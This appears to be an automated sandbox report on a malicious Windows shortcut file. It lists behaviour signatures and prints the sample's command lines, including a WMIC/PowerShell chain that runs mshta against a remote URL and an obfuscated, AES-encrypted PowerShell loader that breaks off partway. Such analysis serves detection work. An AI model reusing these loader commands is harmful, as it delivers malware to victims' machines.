Edit tour
Windows
Analysis Report
tzA45NGAW4.lnk
Overview
General Information
Sample name: | tzA45NGAW4.lnkrenamed because original name is a hash value |
Original sample name: | 1fa8842a7e4debf7bf9e6c03773aa49c.lnk |
Analysis ID: | 1581591 |
MD5: | 1fa8842a7e4debf7bf9e6c03773aa49c |
SHA1: | cf2e60beff20f46a633020cf3a32e3cb6bf2eaae |
SHA256: | 34dd7e196ad94c9a7cf1858a0c7b8147bec90f9eb4b5179b37de9629fa24ce32 |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Contains functionality to create processes via WMI
Creates processes via WMI
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Windows shortcut file (LNK) contains suspicious command line arguments
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- WMIC.exe (PID: 7404 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ti ffany-care ers.com/Gh ep2712')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7420 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7488 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /tiffany-c areers.com /Ghep2712' ) MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7496 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7648 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ti ffany-care ers.com/Gh ep2712" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 7728 cmdline:
"C:\Window s\system32 \mshta.exe " https:// tiffany-ca reers.com/ Ghep2712 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7952 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = '9CF53 2B67986D91 6047FE0AC0 764DA11DC4 EADD5CE4C3 2A9EFBD866 103824CD80 10E51E35AA 8431521E80 FD6FD2B3D7 3241C0BB11 F04EE49313 A72FA43C65 EE5DF342E5 0AAAB881EB 97E2AD4046 B96D04E64F D968C51007 DBDB019561 AAD993D9DD D6B0E95AAC 81E269357C 5BFEAEA252 7E8A20F8FC EEE34F91F7 2675881E50 DCD04295A7 90A9E13CE9 CBF37B601B 4FFAFE1D5C AC03DFDA56 DCA95FF542 4D15D2201E E63774AEF0 24E5D3441D 0810D093A2 A8E480D6D4 B525FA6FC9 03E3BDB710 FFAE3E8936 22CE5C8764 591B00B8FC 9C8100BDA9 23A83E6F8B 88E69B0755 D3228D1DC5 2C7C67BB3B 24C6C30B77 7A5DDDC87A E8DF799E07 2F9A5A2E93 0038C71453 15FA2576AD A033D15A77 64469DE0BD 65B7F9E89E 55EA031733 3FB845BB43 39BA707D00 A5B4FD12EF 2BCA275481 87BE559BD1 E7662E4B6C 54CE3999E1 730EED4F58 C611CC3B8C 64086B0FF8 A572FBC600 798C70C487 2E23D8DFEC 08E57EC5BD 8C46AD0756 0467116EEE 5F8C78F0BB 81E4E5B3A4 C92473CAC6 FC01E77EEA 8F5860B14D 885342EF00 B915D9B927 7B47DD62E9 2385866D4F 08595B75FD 3416076067 E9C9C3A909 D66C4807D3 D34D802E94 AFD77152A2 E8719F1DB9 0EEEC5D528 8DCDA7A440 771A416DB8 635C548C52 3B726DA123 203E5BB32B 7F0239E81E 2E1C9948A2 D962965546 7B0C4210B5 5627467104 58C26E13B0 6B0E5A0667 F3D764E09D 22E4F04DB3 052359BDDB 7C937C0FFC 5E7B6BF7B3 98E140333E 5B5B974185 7518CBFC0A 86CC275634 4C085D6D9F 6503AEF596 7D61A95B8E D8B25A8DB2 3CFE55452E 36DCEAB63E E4F1AA5BB0 9A1530D0D5 6F7123EA0E 9278D69302 95A5362425 1959B73A84 5ABD6AFC47 B295DDF6B8 083CD04B85 C0789E0F09 013BCBE631 B9551A179D 39DB7491A0 4A601C6E09 CA8FF994D7 13877D75EA 86A31FF9EC 9B2C557BAE 8C6A494EA4 6A84FC08A7 DAC1B5ADDD 84771E1AEF EEB3418328 847AD5670D 846972DBA8 193DD696F0 A22D11217E 461ED7E46B 33E2EF47F1 2B09657CB0 1CC3AE8633 5B6E69B306 E63FDAC762 CA62A91E39 E7778E3A0C D5C1637FDF 8E8F1AEAC8 6E8AA27EA3 EBCD0BF91E FC1995D43D 53A9537E8D 0E5690CED6 4DD12BDF58 2DA4670F8E EC5BD3A43A C5AE823CFC DD29747185 61BB5BE154 E812A135FF 700C05380B 3B3283B4E0 89BA345099 5E7D234293 C2E6735402 BE512FEF97 4C3031038C 10F9309004 74FD65A4B2 251379752B D260DCE20B 2B16C34BB0 B9B2D96015 FEA98D2CA4 9F108194FF 06C88A1B9C 2831806775 3820430FCF FAE689D4A1 AF2F1FA1E7 2325BC53D6 460FFF8B5D 895BAD7A45 62A18E2129 A5D836FCFF 6CF002491A E00BA0D488 91008E3FA6 3EE6F96871 9585482A9C 78C05CD826 A70C2500B8 4CD7500083 40587F705F 63C221378C 17C1FC4F62 0B61B03569 6056491071 F78A3D4E95 A1343424E7 664744E454 A617275706 46663';fun ction HUI ($CXfuOnjU ){return - split ($CX fuOnjU -re place '..' , '0x$& ') };$FMWRG = HUI($ddg. SubString( 0, 2048)); $oeC = [Sy stem.Secur ity.Crypto graphy.Aes ]::Create( );$oeC.Key = HUI($dd g.SubStrin g(2048));$ oeC.IV = N ew-Object byte[] 16; $gVhTqzko = $oeC.Cre ateDecrypt